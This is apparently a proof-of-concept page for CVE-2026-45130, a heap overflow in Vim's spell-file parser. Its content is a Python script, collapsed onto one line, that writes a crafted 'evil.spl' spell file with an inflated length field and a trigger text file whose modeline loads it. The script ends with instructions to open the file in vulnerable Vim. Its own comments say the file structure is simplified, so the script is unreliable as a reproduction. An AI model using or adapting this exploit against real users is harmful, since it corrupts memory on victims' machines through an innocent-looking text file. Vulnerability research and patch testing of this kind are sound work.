CVE-2026-45130 Vim 堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-45130 # This script generates a malicious .spl file and a text file with a modeline. # The crafted .spl file attempts to trigger the integer overflow in read_compound(). import struct def create_malicious_spl(filename): # Simplified SPL structure to trigger the vulnerability # In a real scenario, specific binary headers and offsets are required. # This attempts to set a large length field for the compound section. with open(filename, 'wb') as f: # SPL Header (magic bytes etc - simplified) f.write(b'VIMspell') # SN_REGION: Compound info section # The vulnerability occurs when calculating buffer size based on a length field here. # We inject a large value to cause integer overflow in multiplication. # Target calculation: len * sizeof(short) overflow. # Arbitrary large number to trigger overflow on 32-bit signed int evil_length = 0x10000000 # Write section header (type, length) # Assuming section type for compound words f.write(struct.pack('<I', 1)) # Section type f.write(struct.pack('<I', evil_length)) # Evil length field # Padding data f.write(b'A' * 100) def create_trigger_txt(filename, spl_filename): # Create a text file with a modeline that sets spelllang to the malicious file content = f"""Normal text content. vim: set spelllang={spl_filename}: """ with open(filename, 'w') as f: f.write(content) if __name__ == "__main__": print(f"[+] Generating malicious spell file: evil.spl") create_malicious_spl('evil.spl') print(f"[+] Generating trigger text file: trigger.txt") create_trigger_txt('trigger.txt', 'evil.spl') print(f"[+] Done. Place 'evil.spl' in the runtimepath and open 'trigger.txt' with vulnerable Vim.")